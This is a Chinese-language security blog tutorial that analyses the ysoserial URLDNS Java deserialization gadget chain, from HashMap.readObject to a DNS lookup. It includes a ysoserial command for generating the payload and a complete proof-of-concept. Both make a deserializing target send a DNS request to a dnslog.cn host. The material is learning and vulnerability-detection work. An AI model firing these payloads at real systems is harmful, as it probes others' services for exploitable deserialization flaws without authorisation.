这篇文章介绍

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。ysoserial 打包成jar命令 mvn clean package -DskipTests,刚刚入门所以用这条链作为学习反序列化的开始。

URLDNS 反序列化分析

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

这条链的入口类是java.util.HashMap ,入口类的条件上篇文章写在了最后,这里在提一嘴:

实现Serializable接口;

重写readObject方法,调用一个常见的函数;

接收参数类型宽泛;

最好JDK自带;

HashMap

首先看一下HashMap,这个类实现了Serializable接口



重写了readObject方法,重写方法因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。

putVal()就是哈希表结构存储函数,这个不是关键,关键是它调用了hash函数,根据key产生hash。

跟进hash()函数,可以看到,这里使用传入参数对象key的hashCode方法。

很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用执行危险函数。这条URLDNS链中使用的执行类就是URL类。看URL类之前,还需要确定一下HashMap在readObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象keys是可控的。

首先可以看到,参数对象Key由s.readObject()获取,s是输入的序列化流,证明key是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。

URL

入口类HashMap已经分析完成,具备了利用条件,具体在分析一下URL类的hashCode方法。

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

handler是URLStreamHandler的实例,跟进handler的hashCode方法(URLStreamHandler.java),接收URL类的实例,调⽤getHostAddress⽅法

继续跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。



这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

整个 URLDNS 的Gadget Chain就清晰了:

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

URLDNS 序列化过程分析

程序入口在ysoserial.GeneratePayload,打开GeneratePayload.java,找到main方法,代码如下:

public static void main(final String[] args) {
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
//用打包出来的jar,生成序列化的文件时,ysoserial获取外面传入的参数,并赋值给对应的变量。
final String payloadType = args[0]; // URLDNS
final String command = args[1]; //http://64hu68.dnslog.cn
//接着执行Utils.getPayloadClass("URLDNS");,根据全限定类名ysoserial.payloads.URLDNS,获取对应的Class类对象。
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
} try {
//通过反射创建Class类对应的对象,URLDNS对象创建完成。
final ObjectPayload payload = payloadClass.newInstance();
//然后执行执行URLDNS对象中的getObject方法
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

URLDNS类getObject方法

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
//创建了URLStreamHandler对象
URLStreamHandler handler = new SilentURLStreamHandler();
//创建了HashMap对象
HashMap ht = new HashMap(); // HashMap that will contain the URL
//URL对象 url=http://64hu68.dnslog.cn
URL u = new URL(null, url, handler); // URL to use as the Key
//将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
//通过反射机制 设置URL对象的成员变量hashCode值为-1
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
//将HashMap对象返回
return ht;
}

接着对HashMap对象进行序列化操作Serializer.serialize(object, out);并将序列化的结果重定向到dnslog1.ser文件中

实验验证

序列化过程:用打包出来的jar,生成序列化的文件。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://64hu68.dnslog.cn" > dnslog1.ser

之后在ysoserial-0.0.6-SNAPSHOT-all.jar同目录下就有生成的dnslog1.ser序列化文件。

反序列化过程:写一个测试类反序列化写入上面序列化的文件。

package ysoserial;

import java.io.FileInputStream;
import java.io.ObjectInputStream; public class Test { public static void main(String[] args) throws Exception {
ObjectInputStream os = new ObjectInputStream(new FileInputStream("target/dnslog1.ser"));
os.readObject();
System.out.println("OK");
}
}



查看dns平台,反序列化直接请求到dnslog平台上

跟一下反序列化过程,设置断点,调试。

HashMap获取了key和value,调用了hash方法

跟进去,发现调用了key.hashCode方法

继续跟来到了URL类的hashCode方法因为传的key是URL类,hashCode的值为-1

进入了handler.hashCode方法

进入了hashCode.getHostAddress,使用InetAddress.getByName(host);,发送DNSLOG请求。

POC构造

根据分析,触发的关键是HashMap的put方法,故下面的代码是必须的

HashMap ht = new HashMap();
ht.put(url,"RRR");

因为ht.put需要传入URL的实例,new一个,因为URL是可序列化的,不用反射获取

URL url = new URL("http://64hu68.dnslog.cn");

根据上面的分析,必须要将这个URL 实例中的,hashCode的值变为-1,通过反射获取变量更改

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);

综上,组合起来完整的poc

package ysoserial;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap; public class Test {
public static void main(String[] args) throws Exception{
URL url = new URL("http://64hu68.dnslog.cn");
HashMap ht = new HashMap();
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1); //防止put就先进行解析DNS
ht.put(url,"RRR"); //序列化写文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(ht);
//反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); } }

ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀个SilentURLStreamHandler 类,这不是必须的。

javasec(五)URLDNS反序列化分析的更多相关文章

  1. {MySQL的逻辑查询语句的执行顺序}一 SELECT语句关键字的定义顺序 二 SELECT语句关键字的执行顺序 三 准备表和数据 四 准备SQL逻辑查询测试语句 五 执行顺序分析

    MySQL的逻辑查询语句的执行顺序 阅读目录 一 SELECT语句关键字的定义顺序 二 SELECT语句关键字的执行顺序 三 准备表和数据 四 准备SQL逻辑查询测试语句 五 执行顺序分析 一 SEL ...

  2. 品味性能之道<五>:SQL分析工具

    一.SQL语句到底是怎么执行的? 想了解SQL语句到底是怎么执行的,那就需要进行SQL语句执行计划分析. 那什么是SQL语句执行计划呢? 就是Oracle服务器执行SQL语句的过程.例如确定是否使用索 ...

  3. fastjson及其反序列化分析--TemplatesImpl

    fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...

  4. [JavaWeb]反序列化分析(二)--CommonCollections1

    反序列化分析(二)--CommonCollections1 链子分析 首先新建一个TransformedMap,其中二三参数为可控,后续要用到 当TransformedMap执行put方法时,会分别执 ...

  5. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  6. 《Android群英传》读书笔记 (2) 第三章 控件架构与自定义控件详解 + 第四章 ListView使用技巧 + 第五章 Scroll分析

    第三章 Android控件架构与自定义控件详解 1.Android控件架构下图是UI界面架构图,每个Activity都有一个Window对象,通常是由PhoneWindow类来实现的.PhoneWin ...

  7. MP实战系列(十五)之执行分析插件

    SQL 执行分析拦截器[ 目前只支持 MYSQL-5.6.3 以上版本 ],作用是分析 处理 DELETE UPDATE 语句, 防止小白或者恶意 delete update 全表操作! 这里我引用M ...

  8. CocoStuff—基于Deeplab训练数据的标定工具【五、训练成果分析】

    一.说明 本文为系列博客第五篇,主要展示训练的结果,以及对训练进行分析. *注:暂未进行大量的数据训练以及IoU测算,目前只做到使用Matlab将训练结果的mat文件可视化. 二. *占坑

  9. weblogic之CVE-2016-0638反序列化分析

    此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上 weblogic.rjvm.InboundMsgAbbrev.class :: Serv ...

  10. shiro<1.2.4反序列化分析

    0x01.环境搭建 下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 环境:Tomcat 8.5.27 + idea ...

随机推荐

  1. java.sql.SQLException: No suitable driver found for jdbc:mysql://localhost:解决办法

    激动的心,颤抖的手.本来web项目数据库连接的好好地,突然就连不上了,一直报java.sql.SQLException: No suitable driver found for jdbc:mysql ...

  2. elasticsearch开发学习及踩坑实录

    1.elasticsearch7.+需要jdk11 / elasticsearch6.+需要jdk8 , 如果是Java开发的同学本地开发使用jdk8 , 可以下载一个解压版的jdk11 , 然后修改 ...

  3. 7.webpack与vue-cli

    一.模块化相关规范 1.1 模块化概述 传统开发模式的主要问题 命名冲突:多个JS文件之间,如果存在重名的变量,会发生变量覆盖问题 文件依赖:JS文件无法实现相互的引用 通过模块化解决上述问题 模块化 ...

  4. 如何让charles无论怎么请求都返回一个结果

    1. map Local         将匹配的url映射到本地文件.这个需要首先将url右键,save Response,将原有报文保存到本地,然后映射到该文件,修改该文件即可,直接自己写费事2. ...

  5. django静态文件,form表单提交数据,连接mysql,操作ORM

    静态文件配置 1. 什么是静态文件 css js img ... 2. 静态文件的存储位置 ''' 我们在创建Django项目的时候,没有生成static目录,我们会把静态文件存储在static目录下 ...

  6. Surge 开启脚本功能后,京东自动签到总结

    本人小白,花费半天时间才弄好,写下这个给自己和后来人指路. Surge 开启脚本功能后,京东自动签到获取京豆总结: 1.注意 去 Raw 真实地址下载 js https://github.com/No ...

  7. 转发:TypeScript Monorepo 最佳实践

    当我们跨多个代码仓库管理多个项目之间的依赖关系时,既耗时又容易出错.monorepo 是一种处理上述问题的代码管理架构概念,它将多个项目的所有隔离代码库整合到一个大型存储库中,而不是单独管理它们.当与 ...

  8. 动力节点的MySQL的34题目的第7题的我的参考答案

    以下是:薪水的平均等级最低的部门的名称 select t4.t4deptno,t4.t4grade,d1.dname from( ##求出各部门平均等级begin select avg(t3.t3gr ...

  9. KERNEL1

    WHAT IS KERNEL KERNEL是一个负责连接计算机硬件与软件的一个模块,当软件对硬件进行调用的时候,或者发送一些置零的时候,KERNEL负责将这些指令转化并发送给CPU或者计算机中其他硬件 ...

  10. MS-08-067 windows smb服务 远程命令执行漏洞

    漏洞概要 MS-08-067是Windows平台中smb服务445端口的远程代码执行漏洞 利用成功可以远程控制主机 影响范围为:windows2000.xp.server 2003.server 20 ...